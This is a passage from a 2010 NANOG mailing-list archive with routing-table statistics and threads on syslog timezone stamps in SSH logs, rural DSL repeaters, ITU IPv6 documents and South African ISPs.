Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4323 3790 3396 Time Warner Telecom 1785 1831 1702 PaeTec Communications, Inc. 4766 1859 1382 Korea Telecom (KIX) 8151 1584 1349 UniNet S.A. de C.V. 17488 1288 1152 Hathway IP Over Cable Interne 4755 1287 1148 TATA Communications formerly 11492 1141 1127 Cable One 22773 1125 1056 Cox Communications, Inc. 18566 1059 1049 Covad Communications 18101 1083 1044 Reliance Infocom Ltd Internet Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.155.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 2.0.0.0/16 12654 RIPE NCC RIS Project 2.1.0.0/21 12654 RIPE NCC RIS Project 2.1.24.0/24 12654 RIPE NCC RIS Project 2.2.2.0/24 12654 RIPE NCC RIS Project 41.77.236.0/22 23456 32-bit ASN transition 41.190.64.0/22 28683 Office des Postes et telecomm 41.190.66.0/24 37039 >>UNKNOWN<< 41.202.96.0/19 29571 Ci Telecom Autonomous system 41.216.32.0/19 28683 Office des Postes et telecomm 41.220.144.0/20 36918 ORASCOM TELECOM ALGERIE VSAT Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:21 /9:10 /10:25 /11:65 /12:187 /13:389 /14:659 /15:1233 /16:10946 /17:5164 /18:8734 /19:18052 /20:21928 /21:22096 /22:28392 /23:28183 /24:163196 /25:939 /26:1175 /27:580 /28:231 /29:13 /30:7 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2631 4066 bellsouth.net, inc. 4323 2353 3790 Time Warner Telecom 4766 1472 1859 Korea Telecom (KIX) 1785 1294 1831 PaeTec Communications, Inc. 11492 1056 1141 Cable One 17488 1050 1288 Hathway IP Over Cable Interne 18566 1040 1059 Covad Communications 18101 956 1083 Reliance Infocom Ltd Internet 7018 939 1561 AT&T WorldNet Services 10620 916 1010 TVCABLE BOGOTA Complete listing at http://thyme.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 2:2 4:14 8:239 12:1985 13:10 15:22 16:3 17:8 20:39 24:1349 27:1 32:48 38:642 40:99 41:2028 44:3 46:1 47:26 52:6 55:2 56:2 57:23 58:643 59:632 60:399 61:1096 62:1038 63:2014 64:3804 65:2348 66:4182 67:1781 68:1041 69:2843 70:694 71:236 72:1870 73:2 74:2128 75:241 76:333 77:819 78:587 79:396 80:999 81:778 82:449 83:434 84:642 85:1020 86:386 87:672 88:423 89:1526 90:76 91:2701 92:435 93:1144 94:1391 95:519 96:231 97:302 98:501 99:23 100:1 109:379 110:311 111:443 112:233 113:228 114:366 115:570 116:1028 117:624 118:386 119:916 120:138 121:842 122:1386 123:888 124:1069 125:1293 128:208 129:204 130:141 131:467 132:89 133:16 134:195 135:43 136:226 137:170 138:240 139:92 140:476 141:136 142:378 143:343 144:415 145:51 146:414 147:168 148:570 149:207 150:151 151:168 152:251 153:166 154:2 155:278 156:178 157:332 158:100 159:356 160:305 161:177 162:268 163:166 164:311 165:463 166:504 167:389 168:764 169:158 170:575 171:46 172:3 173:523 174:540 175:51 178:2 180:354 182:23 183:222 184:11 186:290 187:223 188:1359 189:687 190:3513 192:5712 193:4509 194:3357 195:2783 196:1169 198:3545 199:3378 200:5312 201:1462 202:8011 203:8275 204:4021 205:2170 206:2450 207:3006 208:3917 209:3449 210:2546 211:1196 212:1700 213:1655 214:268 215:57 216:4465 217:1513 218:487 219:427 220:1078 221:381 222:307 End of report From nenolod at systeminplace.net Fri Feb 26 13:17:20 2010 From: nenolod at systeminplace.net (William Pitcock) Date: Fri, 26 Feb 2010 13:17:20 -0600 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8812EE.2020003@2mbit.com> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> Message-ID: <1267211840.4093.4.camel@petrie> On Fri, 2010-02-26 at 11:29 -0700, Brielle Bruns wrote: > Isn't the timestamps inserted by syslog rather then the reporting > program itself? The syslog message sent to the local unix socket (/dev/log or /dev/syslog) may contain a timestamp, in which case, that timestamp may be used instead of the local time. As the syslog protocol defines that timestamps are localtime, without any specification of what timezone localtime actually is, the TZ environment variable of the application calling syslog() will affect the timestamp placed in the log. William From gordslater at ieee.org Fri Feb 26 13:23:41 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 19:23:41 +0000 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B88183F.7000204@sunwave.net> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <4B88183F.7000204@sunwave.net> Message-ID: <1267212221.26166.47.camel@ub-g-d2> On Fri, 2010-02-26 at 10:51 -0800, Wade Peacock wrote: > I was thinking timezone but we are PST (-8:00) so I can not explain > the > +12:00 difference. whois gives India? 12 hrs maybe? From a brief recon of it looks a bit, shall we say, "soft" - get your hat on just in case. I can confirm that changing my time on the ssh client machine end does not reproduce this on my Debain machines, no matter where the entries are logged to. Sorry I don't have any RH/Centos I can test with at this time of day, even virtualised - anyone ? Gord -- incoming! From gordslater at ieee.org Fri Feb 26 13:28:32 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 19:28:32 +0000 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B88191F.4050000@sunwave.net> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <4B8814FF.2090904@cox.net> <4B88191F.4050000@sunwave.net> Message-ID: <1267212512.26166.52.camel@ub-g-d2> On Fri, 2010-02-26 at 10:55 -0800, Wade Peacock wrote: > the proftpd line happened to be the next line in the log. the > next simular ssh lines looks like (duplicate removed) > > Feb 26 10:08:48 mx sshd[22165]: Did not receive identification string from UNKNOWN > Feb 26 10:09:27 mx sshd[22261]: Failed password for root from 219.137.192.231 port 54111 ssh2 is it possible that a local user changed the time (maybe with a GUI app) around the time of these attempts? (failed attempts like this are normal for a machine hooked to the internet without ACLs BTW, the problem is the strange timestamp < If someone wants to do testing, I believe I can fairly easily build a Xen CentOS domU once I get home (30 mins). Contact me offlist and we'll figure it out. ------Original Message------ From: gordon b slater To: wade.peacock at sunwave.net Cc: nanog at nanog.org ReplyTo: gordslater at ieee.org Subject: Re: Future timestamps in /var/log/secure Sent: Feb 26, 2010 12:23 PM On Fri, 2010-02-26 at 10:51 -0800, Wade Peacock wrote: > I was thinking timezone but we are PST (-8:00) so I can not explain > the > +12:00 difference. whois gives India? 12 hrs maybe? From a brief recon of it looks a bit, shall we say, "soft" - get your hat on just in case. I can confirm that changing my time on the ssh client machine end does not reproduce this on my Debain machines, no matter where the entries are logged to. Sorry I don't have any RH/Centos I can test with at this time of day, even virtualised - anyone ? Gord -- incoming! -- Brielle Bruns http://www.sosdg.org / http://www.ahbl.org From gordslater at ieee.org Fri Feb 26 13:30:36 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 19:30:36 +0000 Subject: Future timestamps in /var/log/secure In-Reply-To: <1267211840.4093.4.camel@petrie> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <1267211840.4093.4.camel@petrie> Message-ID: <1267212636.26166.54.camel@ub-g-d2> On Fri, 2010-02-26 at 13:17 -0600, William Pitcock wrote: > On Fri, 2010-02-26 at 11:29 -0700, Brielle Bruns wrote: > > Isn't the timestamps inserted by syslog rather then the reporting > > program itself? > > The syslog message sent to the local unix socket (/dev/log > or /dev/syslog) may contain a timestamp, in which case, that timestamp > may be used instead of the local time. As the syslog protocol defines > that timestamps are localtime, without any specification of what > timezone localtime actually is, the TZ environment variable of the > application calling syslog() will affect the timestamp placed in the > log. aha! there you go, mine doesn't but maybe yours does? Gord -- tic toc From Valdis.Kletnieks at vt.edu Fri Feb 26 13:37:27 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 26 Feb 2010 14:37:27 -0500 Subject: Future timestamps in /var/log/secure In-Reply-To: Your message of "Fri, 26 Feb 2010 10:51:43 PST." <4B88183F.7000204@sunwave.net> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <4B88183F.7000204@sunwave.net> Message-ID: <19253.1267213047@localhost> On Fri, 26 Feb 2010 10:51:43 PST, Wade Peacock said: > It is classic syslogd > syslogd -v > > > syslogd 1.4.1 > > I was thinking timezone but we are PST (-8:00) so I can not explain the > +12:00 difference. Feb 26 09:50:38 mx sshd[19102]: Feb 26 17:50:38 mx sshd[19113]: That's 8 hours difference, one logged in UTC, one in local. Where do you see +12? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From nenolod at systeminplace.net Fri Feb 26 13:46:41 2010 From: nenolod at systeminplace.net (William Pitcock) Date: Fri, 26 Feb 2010 13:46:41 -0600 Subject: Future timestamps in /var/log/secure In-Reply-To: <1267212636.26166.54.camel@ub-g-d2> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <1267211840.4093.4.camel@petrie> <1267212636.26166.54.camel@ub-g-d2> Message-ID: <1267213601.3736.1.camel@petrie> On Fri, 2010-02-26 at 19:30 +0000, gordon b slater wrote: > On Fri, 2010-02-26 at 13:17 -0600, William Pitcock wrote: > > The syslog message sent to the local unix socket (/dev/log > > or /dev/syslog) may contain a timestamp, in which case, that timestamp > > may be used instead of the local time. As the syslog protocol defines > > that timestamps are localtime, without any specification of what > > timezone localtime actually is, the TZ environment variable of the > > application calling syslog() will affect the timestamp placed in the > > log. > > aha! there you go, mine doesn't but maybe yours does? The specification for the syslog protocol is that timestamps embedded in the message should be used instead of syslogd's time. Most syslog daemons as a result apply this concept to both local and remote messages. You have to keep in mind that syslogd can also send/receive messages to/from remote destinations. William From sethm at rollernet.us Fri Feb 26 13:52:22 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 26 Feb 2010 11:52:22 -0800 Subject: Future timestamps in /var/log/secure In-Reply-To: <1267213601.3736.1.camel@petrie> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <1267211840.4093.4.camel@petrie> <1267212636.26166.54.camel@ub-g-d2> <1267213601.3736.1.camel@petrie> Message-ID: <4B882676.7020308@rollernet.us> On 2/26/2010 11:46, William Pitcock wrote: > On Fri, 2010-02-26 at 19:30 +0000, gordon b slater wrote: >> On Fri, 2010-02-26 at 13:17 -0600, William Pitcock wrote: >>> The syslog message sent to the local unix socket (/dev/log >>> or /dev/syslog) may contain a timestamp, in which case, that timestamp >>> may be used instead of the local time. As the syslog protocol defines >>> that timestamps are localtime, without any specification of what >>> timezone localtime actually is, the TZ environment variable of the >>> application calling syslog() will affect the timestamp placed in the >>> log. >> >> aha! there you go, mine doesn't but maybe yours does? > > The specification for the syslog protocol is that timestamps embedded in > the message should be used instead of syslogd's time. Most syslog > daemons as a result apply this concept to both local and remote > messages. > > You have to keep in mind that syslogd can also send/receive messages > to/from remote destinations. > It's easier to see these timezone issues when using an ISO timestamp like "2010-02-26T06:26:17-08:00" instead of the old style that omits the timezone. ~Seth From wade.peacock at sunwave.net Fri Feb 26 14:03:39 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Fri, 26 Feb 2010 12:03:39 -0800 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8810D0.9000306@sunwave.net> References: <4B8810D0.9000306@sunwave.net> Message-ID: <4B88291B.6080107@sunwave.net> It might be prudent to mention that all of the connections of this type are null routed via an iptables drop rule after three failed attempts via a "home grown" daemon similar to DENYHOSTS. All traffic from host is DENIED for 120 days unless we manually over ride it. I do appreciate the cautionary, "better have a look around just to be sure" comments Wade From wade.peacock at sunwave.net Fri Feb 26 14:05:30 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Fri, 26 Feb 2010 12:05:30 -0800 Subject: Future timestamps in /var/log/secure In-Reply-To: <1267213601.3736.1.camel@petrie> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <1267211840.4093.4.camel@petrie> <1267212636.26166.54.camel@ub-g-d2> <1267213601.3736.1.camel@petrie> Message-ID: <4B88298A.2030004@sunwave.net> That does make sense. I will try to simulate that with a temporary virtual machine as a different timezone. Wade >> aha! there you go, mine doesn't but maybe yours does? > > The specification for the syslog protocol is that timestamps embedded in > the message should be used instead of syslogd's time. Most syslog > daemons as a result apply this concept to both local and remote > messages. > > You have to keep in mind that syslogd can also send/receive messages > to/from remote destinations. > > William > > From randy at psg.com Fri Feb 26 14:49:22 2010 From: randy at psg.com (Randy Bush) Date: Fri, 26 Feb 2010 12:49:22 -0800 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <78bfcf051002261045p48b059cbx2fe0a3f968e085f7@mail.gmail.com> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> <4B87FA46.2040804@psg.com> <4B880416.1070707@apolix.co.za> <78bfcf051002261045p48b059cbx2fe0a3f968e085f7@mail.gmail.com> Message-ID: >> http://www.ispa.org.za/press-release/ispa-calls-on-icasa-to-make-a-firm-commitment-to-llu > Those are all _extremely_ out dated references. i am used to dealing with time zones, even the international date line. but i am having a really hard time considering 2010-02-23 as extremely out of date. guys, yes things have changed a bit there. and after decades of being in the 1800s i can see you getting great joy out of seeing telkom dragged kicking and screaming into the 20th century. congratulations. randy From tony at lava.net Fri Feb 26 15:13:47 2010 From: tony at lava.net (Antonio Querubin) Date: Fri, 26 Feb 2010 11:13:47 -1000 (HST) Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> Message-ID: On Fri, 26 Feb 2010, David Conrad wrote: > non-biased way). There are a couple of papers put out by the ITU (or > perhaps more accurately, ITU-funded folks) that discuss this. If anyone > cares, I can dig them up. Some googling for 'itu ipv6' turns up the following (among other things): http://www.itu.int/net/ITU-T/ipv6/itudocs.aspx Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From msokolov at ivan.Harhan.ORG Fri Feb 26 15:34:36 2010 From: msokolov at ivan.Harhan.ORG (Michael Sokolov) Date: Fri, 26 Feb 2010 21:34:36 GMT Subject: Locations with no good Internet (was ISP in Johannesburg) Message-ID: <1002262134.AA10367@ivan.Harhan.ORG> Daniel Senie wrote: > Better than western Massachusetts, where there's just no connectivity at = > all. Even dialup fails to function over crappy lines. Hmm. Although I've never been to Western MA and hence have no idea what the telecom situation is like over there, I'm certainly aware of quite a few places in "first world USA" where DSL is still a fantasy, let alone fiber. As a local example, I have a friend in a rural area of Southern California who can't get any kind of "high-speed Internet". I've run a prequal on her address and it tells me she is 31 kft from the CO. The CO in question has a Covad DSLAM in it, but at 31 kft those rural residents' options are limited to either IDSL at 144 kbps (not much point in that) or a T1 starting at ~$700/month. The latter figure is typically well out of range for the kind of people who live in such places. That got me thinking: ISDN/IDSL and T1 can be extended infinitely far into the boondocks because those signal formats support repeaters. What I'm wondering is how can we do the same thing with SDSL - and I mean politically rather than technically. The technical part is easy: some COs already have CLECs in them that serve G.shdsl (I've been told that NEN does that) and for G.shdsl repeaters are part of the standard (searching around shows a few vendors making them); in the case of SDSL/2B1Q (Covad and DSL.net) there is no official support for repeaters and hence no major vendors making such, but I can build such a repeater unofficially. The difficulty is with the political part, and that's where I'm seeking the wisdom of this list. How would one go about sticking a mid-span repeater into an ILEC-owned 31 kft rural loop? From what I understand (someone please correct me if I'm wrong!), when a CLEC orders a loop from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 or ISDN BRI transport from the ILEC rather than a dry pair, and any mid-span repeaters or HDSLx converters or the like become the responsibility of the ILEC rather than the CLEC, right? So how could one extend this model to provide, say, repeatered G.shdsl service to far-outlying rural subscribers? Is there some political process (PUC/FCC/etc) by which an ILEC could be forced to allow a third party to stick a repeater in the middle of their loop? Or would it have to work by way of the ILEC providing a G.shdsl transport service to CLECs, with the ILEC being responsible for the selection, procurement and deployment of repeater hardware? And what if the ILEC is not interested in providing such a service - any PUC/FCC/etc political process via which they could be forced to cooperate? Things get even more complicated in those locations where the CO has a Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving G.shdsl. Even if the ILEC were to provide a G.shdsl transport service with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves building a gadget in the form factor of a standard mid-span repeater that would function as a converter from SDSL/2B1Q to G.shdsl: if the loop calls for one mid-span repeater, stick this gadget in as if it were that repeater; if the loop calls for 2 or more repeaters, use my gadget as the first "repeater" and then standard G.shdsl repeaters after it. But of course this idea is totally dependent on the ability of a third party to stick these devices in the middle of long rural loops, perhaps in the place of loading coils which are likely present on such loops. Any ideas? MS From brandon.galbraith at gmail.com Fri Feb 26 15:38:30 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Fri, 26 Feb 2010 15:38:30 -0600 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <1002262134.AA10367@ivan.Harhan.ORG> References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: <366100671002261338g2e5215ads1eb2c06ad3fba2e0@mail.gmail.com> Get dry loops from the ILEC and place repeaters at strategic points? On 2/26/10, Michael Sokolov wrote: > Daniel Senie wrote: > >> Better than western Massachusetts, where there's just no connectivity at = >> all. Even dialup fails to function over crappy lines. > > Hmm. Although I've never been to Western MA and hence have no idea what > the telecom situation is like over there, I'm certainly aware of quite a > few places in "first world USA" where DSL is still a fantasy, let alone > fiber. > > As a local example, I have a friend in a rural area of Southern > California who can't get any kind of "high-speed Internet". I've run a > prequal on her address and it tells me she is 31 kft from the CO. The > CO in question has a Covad DSLAM in it, but at 31 kft those rural > residents' options are limited to either IDSL at 144 kbps (not much > point in that) or a T1 starting at ~$700/month. The latter figure is > typically well out of range for the kind of people who live in such > places. > > That got me thinking: ISDN/IDSL and T1 can be extended infinitely far > into the boondocks because those signal formats support repeaters. What > I'm wondering is how can we do the same thing with SDSL - and I mean > politically rather than technically. The technical part is easy: some > COs already have CLECs in them that serve G.shdsl (I've been told that > NEN does that) and for G.shdsl repeaters are part of the standard > (searching around shows a few vendors making them); in the case of > SDSL/2B1Q (Covad and DSL.net) there is no official support for repeaters > and hence no major vendors making such, but I can build such a repeater > unofficially. > > The difficulty is with the political part, and that's where I'm seeking > the wisdom of this list. How would one go about sticking a mid-span > repeater into an ILEC-owned 31 kft rural loop? From what I understand > (someone please correct me if I'm wrong!), when a CLEC orders a loop > from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 or > ISDN BRI transport from the ILEC rather than a dry pair, and any > mid-span repeaters or HDSLx converters or the like become the > responsibility of the ILEC rather than the CLEC, right? > > So how could one extend this model to provide, say, repeatered G.shdsl > service to far-outlying rural subscribers? Is there some political > process (PUC/FCC/etc) by which an ILEC could be forced to allow a third > party to stick a repeater in the middle of their loop? Or would it have > to work by way of the ILEC providing a G.shdsl transport service to > CLECs, with the ILEC being responsible for the selection, procurement > and deployment of repeater hardware? And what if the ILEC is not > interested in providing such a service - any PUC/FCC/etc political > process via which they could be forced to cooperate? > > Things get even more complicated in those locations where the CO has a > Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving > G.shdsl. Even if the ILEC were to provide a G.shdsl transport service > with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves > building a gadget in the form factor of a standard mid-span repeater > that would function as a converter from SDSL/2B1Q to G.shdsl: if the > loop calls for one mid-span repeater, stick this gadget in as if it > were that repeater; if the loop calls for 2 or more repeaters, use my > gadget as the first "repeater" and then standard G.shdsl repeaters > after it. But of course this idea is totally dependent on the ability > of a third party to stick these devices in the middle of long rural > loops, perhaps in the place of loading coils which are likely present > on such loops. > > Any ideas? > > MS > > -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From james at freedomnet.co.nz Fri Feb 26 15:40:53 2010 From: james at freedomnet.co.nz (James Jones) Date: Fri, 26 Feb 2010 16:40:53 -0500 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <1002262134.AA10367@ivan.Harhan.ORG> References: <1002262134.AA10367@ivan.Harhan.ORG> Message-ID: <4B883FE5.2000606@freedomnet.co.nz> The Massachusetts Broadband Institute is currently working a middle mile solution to help with some of the issues in western ma. Thing do sound promising. On 2/26/10 4:34 PM, Michael Sokolov wrote: > Daniel Senie wrote: > > >> Better than western Massachusetts, where there's just no connectivity at = >> all. Even dialup fails to function over crappy lines. >> > Hmm. Although I've never been to Western MA and hence have no idea what > the telecom situation is like over there, I'm certainly aware of quite a > few places in "first world USA" where DSL is still a fantasy, let alone > fiber. > > As a local example, I have a friend in a rural area of Southern > California who can't get any kind of "high-speed Internet". I've run a > prequal on her address and it tells me she is 31 kft from the CO. The > CO in question has a Covad DSLAM in it, but at 31 kft those rural > residents' options are limited to either IDSL at 144 kbps (not much > point in that) or a T1 starting at ~$700/month. The latter figure is > typically well out of range for the kind of people who live in such > places. > > That got me thinking: ISDN/IDSL and T1 can be extended infinitely far > into the boondocks because those signal formats support repeaters. What > I'm wondering is how can we do the same thing with SDSL - and I mean > politically rather than technically. The technical part is easy: some > COs already have CLECs in them that serve G.shdsl (I've been told that > NEN does that) and for G.shdsl repeaters are part of the standard > (searching around shows a few vendors making them); in the case of > SDSL/2B1Q (Covad and DSL.net) there is no official support for repeaters > and hence no major vendors making such, but I can build such a repeater > unofficially. > > The difficulty is with the political part, and that's where I'm seeking > the wisdom of this list. How would one go about sticking a mid-span > repeater into an ILEC-owned 31 kft rural loop? From what I understand > (someone please correct me if I'm wrong!), when a CLEC orders a loop > from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 or > ISDN BRI transport from the ILEC rather than a dry pair, and any > mid-span repeaters or HDSLx converters or the like become the > responsibility of the ILEC rather than the CLEC, right? > > So how could one extend this model to provide, say, repeatered G.shdsl > service to far-outlying rural subscribers? Is there some political > process (PUC/FCC/etc) by which an ILEC could be forced to allow a third > party to stick a repeater in the middle of their loop? Or would it have > to work by way of the ILEC providing a G.shdsl transport service to > CLECs, with the ILEC being responsible for the selection, procurement > and deployment of repeater hardware? And what if the ILEC is not > interested in providing such a service - any PUC/FCC/etc political > process via which they could be forced to cooperate? > > Things get even more complicated in those locations where the CO has a > Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving > G.shdsl. Even if the ILEC were to provide a G.shdsl transport service > with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves > building a gadget in the form factor of a standard mid-span repeater > that would function as a converter from SDSL/2B1Q to G.shdsl: if the > loop calls for one mid-span repeater, stick this gadget in as if it > were that repeater; if the loop calls for 2 or more repeaters, use my > gadget as the first "repeater" and then standard G.shdsl repeaters > after it. But of course this idea is totally dependent on the ability > of a third party to stick these devices in the middle of long rural > loops, perhaps in the place of loading coils which are likely present > on such loops. > > Any ideas? > > MS > > From dts at senie.com Fri Feb 26 15:45:52 2010 From: dts at senie.com (Daniel Senie) Date: Fri, 26 Feb 2010 16:45:52 -0500 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <4B883FE5.2000606@freedomnet.co.nz> References: <1002262134.AA10367@ivan.Harhan.ORG> <4B883FE5.2000606@freedomnet.co.nz> Message-ID: From what I've read, they may well get higher bandwidth out to the town centers on fiber. There has been little discussion of how to distribute from there. I suppose Verizon, the only company offering anything out there, will take advantage and use the fiber to improve speeds in the centers of towns. But there's no CATV in most of the hill towns, and unless MBI intends to stretch fiber out to the neighborhoods, I remain skeptical. Today, most of the town halls have public access wifi, and people drive up and sit in their cars and get their email that way. This isn't a solution. On Feb 26, 2010, at 4:40 PM, James Jones wrote: > The Massachusetts Broadband Institute is currently working a middle mile solution to help with some of the issues in western ma. Thing do sound promising. > > > On 2/26/10 4:34 PM, Michael Sokolov wrote: >> Daniel Senie wrote: >> >> >>> Better than western Massachusetts, where there's just no connectivity at = >>> all. Even dialup fails to function over crappy lines. >>> >> Hmm. Although I've never been to Western MA and hence have no idea what >> the telecom situation is like over there, I'm certainly aware of quite a >> few places in "first world USA" where DSL is still a fantasy, let alone >> fiber. >> >> As a local example, I have a friend in a rural area of Southern >> California who can't get any kind of "high-speed Internet". I've run a >> prequal on her address and it tells me she is 31 kft from the CO. The >> CO in question has a Covad DSLAM in it, but at 31 kft those rural >> residents' options are limited to either IDSL at 144 kbps (not much >> point in that) or a T1 starting at ~$700/month. The latter figure is >> typically well out of range for the kind of people who live in such >> places. >> >> That got me thinking: ISDN/IDSL and T1 can be extended infinitely far >> into the boondocks because those signal formats support repeaters. What >> I'm wondering is how can we do the same thing with SDSL - and I mean >> politically rather than technically. The technical part is easy: some >> COs already have CLECs in them that serve G.shdsl (I've been told that >> NEN does that) and for G.shdsl repeaters are part of the standard >> (searching around shows a few vendors making them); in the case of >> SDSL/2B1Q (Covad and DSL.net) there is no official support for repeaters >> and hence no major vendors making such, but I can build such a repeater >> unofficially. >> >> The difficulty is with the political part, and that's where I'm seeking >> the wisdom of this list. How would one go about sticking a mid-span >> repeater into an ILEC-owned 31 kft rural loop? From what I understand >> (someone please correct me if I'm wrong!), when a CLEC orders a loop >> from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 or >> ISDN BRI transport from the ILEC rather than a dry pair, and any >> mid-span repeaters or HDSLx converters or the like become the >> responsibility of the ILEC rather than the CLEC, right? >> >> So how could one extend this model to provide, say, repeatered G.shdsl >> service to far-outlying rural subscribers? Is there some political >> process (PUC/FCC/etc) by which an ILEC could be forced to allow a third >> party to stick a repeater in the middle of their loop? Or would it have >> to work by way of the ILEC providing a G.shdsl transport service to >> CLECs, with the ILEC being responsible for the selection, procurement >> and deployment of repeater hardware? And what if the ILEC is not >> interested in providing such a service - any PUC/FCC/etc political >> process via which they could be forced to cooperate? >> >> Things get even more complicated in those locations where the CO has a >> Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving >> G.shdsl. Even if the ILEC were to provide a G.shdsl transport service >> with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves >> building a gadget in the form factor of a standard mid-span repeater >> that would function as a converter from SDSL/2B1Q to G.shdsl: if the >> loop calls for one mid-span repeater, stick this gadget in as if it >> were that repeater; if the loop calls for 2 or more repeaters, use my >> gadget as the first "repeater" and then standard G.shdsl repeaters >> after it. But of course this idea is totally dependent on the ability >> of a third party to stick these devices in the middle of long rural >> loops, perhaps in the place of loading coils which are likely present >> on such loops. >> >> Any ideas? >> >> MS >> >> From nick at foobar.org Fri Feb 26 15:58:12 2010 From: nick at foobar.org (Nick Hilliard) Date: Fri, 26 Feb 2010 21:58:12 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> Message-ID: <4B8843F4.9070108@foobar.org> On 26/02/2010 21:13, Antonio Querubin wrote: > Some googling for 'itu ipv6' turns up the following (among other things): > > http://www.itu.int/net/ITU-T/ipv6/itudocs.aspx Wow, there are some real classics in there. Anyone in need of a good end-of-week belly laugh should take a look at "Delayed Contribution 93" and "Contribution 30". The pitiful level of misunderstanding displayed by the authors of these documents is frightening. Nick From cidr-report at potaroo.net Fri Feb 26 16:00:07 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 26 Feb 2010 22:00:07 GMT Subject: BGP Update Report Message-ID: <201002262200.o1QM07SA046009@wattle.apnic.net> BGP Update Report Interval: 18-Feb-10 -to- 25-Feb-10 (7 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS31055 19341 1.8% 6447.0 -- CONSULTIX-AS Consultix GmbH 2 - AS45983 11585 1.1% 1448.1 -- SKUNIV-AS-KR Seokyeong UNIV. 3 - AS35805 10339 1.0% 17.9 -- UTG-AS United Telecom AS 4 - AS9829 10116 1.0% 20.4 -- BSNL-NIB National Internet Backbone 5 - AS14420 9987 0.9% 26.6 -- CORPORACION NACIONAL DE TELECOMUNICACIONES CNT S.A. 6 - AS45408 9876 0.9% 4938.0 -- 7 - AS31810 9845 0.9% 273.5 -- AOTL-AS 8 - AS7738 9132 0.9% 19.2 -- Telecomunicacoes da Bahia S.A. 9 - AS36992 8660 0.8% 15.7 -- ETISALAT-MISR 10 - AS16569 8222 0.8% 4111.0 -- ASN-CITY-OF-CALGARY - City of Calgary 11 - AS17819 8217 0.8% 1369.5 -- ASN-EQUINIX-AP Equinix Asia Pacific 12 - AS29049 7924 0.8% 27.7 -- DELTA-TELECOM-AS Delta Telecom LTD. 13 - AS28878 7287 0.7% 1041.0 -- SIGNET-AS Signet B.V. 14 - AS26025 7281 0.7% 7281.0 